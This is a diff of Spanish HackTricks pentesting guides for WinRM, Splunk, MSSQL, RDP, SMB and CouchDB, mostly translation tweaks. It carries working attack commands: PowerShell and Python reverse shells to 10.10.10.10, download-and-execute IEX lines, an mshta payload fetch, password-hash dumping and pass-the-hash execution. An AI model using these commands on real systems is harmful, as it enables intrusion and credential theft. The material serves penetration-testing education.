+### **Explotando CVE-2018-8007 a través de la Modificación de local.ini** Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). @@ -184,7 +184,7 @@ Para acomodar la versión 2.0 de CouchDB, se utiliza una nueva ruta: curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` -Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con los permisos, como se indica en la siguiente salida: +Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con permisos, como se indica en la siguiente salida: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index d68a84132..73b6755d0 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -16,14 +16,14 @@ Un puerto abierto de la lista anterior significa que WinRM ha sido configurado, ### **Iniciando una Sesión WinRM** Para configurar PowerShell para WinRM, el cmdlet `Enable-PSRemoting` de Microsoft entra en juego, configurando la computadora para aceptar comandos remotos de PowerShell. Con acceso elevado a PowerShell, se pueden ejecutar los siguientes comandos para habilitar esta funcionalidad y designar cualquier host como confiable: -```powershell +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Este enfoque implica agregar un comodín a la configuración de `trustedhosts`, un paso que requiere una consideración cuidadosa debido a sus implicaciones. También se señala que puede ser necesario alterar el tipo de red de "Pública" a "Trabajo" en la máquina del atacante. -Además, WinRM se puede **activar de forma remota** utilizando el comando `wmic`, como se demuestra a continuación: -```powershell +Además, WinRM puede ser **activado de forma remota** utilizando el comando `wmic`, como se demuestra a continuación: +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` Este método permite la configuración remota de WinRM, mejorando la flexibilidad en la gestión de máquinas Windows desde lejos. @@ -47,27 +47,27 @@ La respuesta debe contener información sobre la versión del protocolo y wsmid, ### Ejecutar un comando Para ejecutar `ipconfig` de forma remota en una máquina objetivo y ver su salida, haz: -```powershell +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) También puedes **ejecutar un comando de tu consola PS actual a través de** _**Invoke-Command**_. Supongamos que tienes localmente una función llamada _**enumeration**_ y quieres **ejecutarla en una computadora remota**, puedes hacer: -```powershell +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Ejecutar un Script -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Obtener reverse-shell -```powershell +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` -### Obtener una sesión de PS +### Obtener una sesión PS -Para obtener un shell interactivo de PowerShell, utiliza `Enter-PSSession`: -```powershell +Para obtener un shell de PowerShell interactivo, utiliza `Enter-PSSession`: +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -90,13 +90,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ### **Forzando WinRM Abierto** Para usar PS Remoting y WinRM pero la computadora no está configurada, podrías habilitarlo con: -```powershell +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Guardar y restaurar sesiones Esto **no funcionará** si el **idioma** está **constriñido** en la computadora remota. -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -107,8 +107,8 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` -Dentro de estas sesiones, puedes cargar scripts de PS usando _Invoke-Command_ -```powershell +Dentro de estas sesiones, puedes cargar scripts de PS usando _Invoke-Command_. +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Errores diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 7c369735e..2d85c6d3b 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -53,7 +53,7 @@ Potencial Clave de Explotación: ### Crear Aplicación Personalizada -Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells reversos en sistemas tanto Windows como Linux. +Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells inversos en sistemas tanto Windows como Linux. Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**. Además, **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código python. @@ -79,7 +79,7 @@ El despliegue es sencillo: 4. Activar la ejecución automática del script al subir Ejemplo de shell reversa de Windows PowerShell: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; @@ -103,7 +103,7 @@ s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` -### RCE y Escalamiento de Privilegios +### RCE y Escalación de Privilegios En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia: diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 8b792aa1a..2725197b1 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -1,13 +1,13 @@ -# Ataque de rebote FTP - Escaneo +# FTP Bounce attack - Scan {{#include ../../banners/hacktricks-training.md}} -## Rebote FTP - Escaneo +## FTP Bounce - Escaneo ### Manual 1. Conéctese al FTP vulnerable -2. Use \*\*`PORT`\*\* o **`EPRT`** (pero solo uno de ellos) para establecer una conexión con el _\_ que desea escanear: +2. Use **`PORT`** o **`EPRT`** (pero solo uno de ellos) para establecer una conexión con el _\_ que desea escanear: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 73ecb2138..a6e5f6b69 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Si **no** **tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente. +> Si **no tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente. #### Metasploit (necesita credenciales) ```bash @@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` +### Obtener contraseñas hashadas +```bash +SELECT * FROM master.sys.syslogins; +``` ### Robar el hash NetNTLM / Ataque de retransmisión Deberías iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo). @@ -260,7 +264,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Puedes verificar quién (aparte de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con: +> Puedes verificar quién (además de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con: > > ```sql > Use master; @@ -306,7 +310,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Leer archivo con** OPENROWSET -Por defecto, `MSSQL` permite la lectura de archivos **en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL: +Por defecto, `MSSQL` permite la **lectura de archivos en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -321,7 +325,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ``` ### **RCE/Leer archivos ejecutando scripts (Python y R)** -MSSQL podría permitirte ejecutar **scripts en Python y/o R**. Este código será ejecutado por un **usuario diferente** al que usa **xp_cmdshell** para ejecutar comandos. +MSSQL podría permitirte ejecutar **scripts en Python y/o R**. Este código será ejecutado por un **usuario diferente** al que utiliza **xp_cmdshell** para ejecutar comandos. Ejemplo intentando ejecutar un **'R'** _"¡Hola Mundo!"_ **no funciona**: @@ -370,13 +374,13 @@ Para **más ejemplos** consulta la [**fuente original**](https://blog.waynesheff ### RCE con la función definida por el usuario de MSSQL - SQLHttp -Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**. +Es posible **cargar un dll de .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`**, por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**. -[**Siguiendo este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. +[**Sigue este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. ### RCE con `autoadmin_task_agents` -Según [ **esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como: +Según [**esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` @@ -472,12 +476,12 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Puedes usar un módulo de **metasploit**: +Puedes usar un **metasploit** módulo: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` O un **script de PS**: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 @@ -505,7 +509,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Si puedes suplantar a un usuario, incluso si no es sysadmin, deberías verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados. +> Si puedes suplantar a un usuario, incluso si no es sysadmin, debes verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados. Ten en cuenta que una vez que eres sysadmin, puedes suplantar a cualquier otro: ```sql @@ -522,7 +526,7 @@ Puedes realizar este ataque con un módulo de **metasploit**: msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` o con un script de **PS**: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! @@ -535,7 +539,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Se deben cumplir algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. +Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes: @@ -547,9 +551,9 @@ Para automatizar estas configuraciones, [este repositorio](https://github.com/Ia Para más información, consulta los siguientes enlaces sobre este ataque: [Desencriptando Contraseñas de Servidores Vinculados de MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Solucionando Problemas con la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Solucionando problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) -## Escalación de Privilegios Locales +## Escalación de Privilegios Local El usuario que ejecuta el servidor MSSQL tendrá habilitado el token de privilegio **SeImpersonatePrivilege.**\ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas: diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 3c4013f5a..8ac5d366b 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -18,7 +18,7 @@ PORT STATE SERVICE ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` -Verifica la encriptación disponible y la vulnerabilidad DoS (sin causar DoS al servicio) y obtiene información NTLM de Windows (versiones). +Verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y obtiene información de NTLM de Windows (versiones). ### [Fuerza bruta](../generic-hacking/brute-force.md#rdp) @@ -75,7 +75,7 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento** +Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento**. Puedes buscar RDPs que han sido backdooreados con una de estas técnicas ya con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) @@ -104,6 +104,10 @@ net localgroup "Remote Desktop Users" UserLoginName /add - Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos - Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +Esta herramienta permite ejecutar comandos en el RDP de la víctima **sin necesidad de una interfaz gráfica**. + ## Comandos Automáticos de HackTricks ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 153330b9f..1afb6f0f1 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Puerto 139** -El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. +El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como el cliente) emite un comando para "llamar" a otra aplicación (actuando como el servidor) utilizando **TCP Puerto 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Puerto 445 -Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red. +Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar varias formas de comunicación entre nodos en una red. Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través de la utilización del puerto 445. Por el contrario, en diferentes sistemas, se observa el empleo del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP. ``` @@ -20,11 +20,11 @@ Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directam El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie del sistema operativo **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB. -Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basándose en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. +Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. ### IPC$ Share -El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de tuberías con nombre. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: +El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de pipes nombrados. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: - Información sobre el sistema operativo - Detalles sobre el dominio padre @@ -38,7 +38,7 @@ enum4linux -a target_ip ``` El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para realizar una enumeración completa contra un objetivo especificado por `target_ip`. -## ¿Qué es NTLM? +## Qué es NTLM Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:** @@ -48,7 +48,7 @@ Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, e ## **Enumeración de Servidores** -### **Escanear** una red buscando hosts: +### **Escanear** una red en busca de hosts: ```bash nbtscan -r 192.168.0.1/24 ``` @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Para buscar posibles exploits para la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes: -- Usar el módulo auxiliar de **MSF** \_**auxiliary/scanner/smb/smb_version** +- Usar el módulo auxiliar de **MSF** _**auxiliary/scanner/smb/smb_version**_ - O este script: ```bash #!/bin/sh @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### Listar carpetas compartidas -Siempre se recomienda verificar si puedes acceder a algo, si no tienes credenciales intenta usar **null** **credentials/guest user**. +Siempre se recomienda verificar si puedes acceder a algo; si no tienes credenciales, intenta usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos** -Puede ser posible que esté restringido para mostrar cualquier recurso compartido de la máquina host y cuando intente listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, podría valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desee buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME, al usar una sesión válida (por ejemplo, sesión nula o credenciales válidas). Estos pueden indicar si el recurso compartido existe y no tiene acceso a él o si el recurso compartido no existe en absoluto. +Puede ser posible que estés restringido para mostrar cualquier recurso compartido de la máquina host y cuando intentas listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, podría valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desees buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME, al usar una sesión válida (por ejemplo, sesión nula o credenciales válidas). Estos pueden indicar si el recurso compartido existe y no tienes acceso a él o si el recurso compartido no existe en absoluto. Los nombres de recursos compartidos comunes para objetivos de Windows son @@ -212,7 +212,7 @@ Los nombres de recursos compartidos comunes para objetivos de Windows son (Nombres de recursos compartidos comunes de _**Network Security Assessment 3rd edition**_) -Puede intentar conectarse a ellos utilizando el siguiente comando +Puedes intentar conectarte a ellos utilizando el siguiente comando ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Enumerar recursos compartidos de Windows / sin herramientas de terceros** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -265,7 +265,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles que no están ocultos. +explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles no ocultos. ### Montar una carpeta compartida ```bash @@ -293,14 +293,14 @@ Comandos: - mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos) - recurse: activa la recursión (predeterminado: apagado) -- prompt: desactiva la solicitud de nombres de archivos (predeterminado: activado) +- prompt: desactiva la solicitud de nombres de archivos (predeterminado: encendido) - mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente (_Información de la página del manual de smbclient_) ### Búsqueda de Carpetas Compartidas en el Dominio -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -312,6 +312,10 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De ``` Especialmente interesantes de los recursos compartidos son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de Group Policy. O los archivos **`web.config`** ya que contienen credenciales. +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) +- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` +- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` + > [!NOTE] > El **recurso compartido SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\ > Debes **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**. @@ -328,16 +332,16 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 La **configuración predeterminada de** un **servidor Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas **configuraciones peligrosas**: -| **Configuración** | **Descripción** | -| --------------------------- | ----------------------------------------------------------------- | -| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | -| `read only = no` | ¿Prohibir la creación y modificación de archivos? | -| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | -| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | -| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | -| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | -| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | -| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | +| **Configuración** | **Descripción** | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | +| `read only = no` | ¿Prohibir la creación y modificación de archivos? | +| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | +| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | +| `enable privileges = yes` | ¿Honrar los privilegios asignados a un SID específico? | +| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | +| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | +| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario?| | `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | | `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | @@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el **método** **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: +crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: ```bash apt-get install crackmapexec @@ -388,11 +392,11 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Usando **el parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** +Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Ejecuta sigilosamente un shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través de **el puerto 135.**\ +Ejecuta sigilosamente un shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través del **puerto 135.**\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -400,7 +404,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** +Usando **parameter**`-k` puedes autenticarte contra 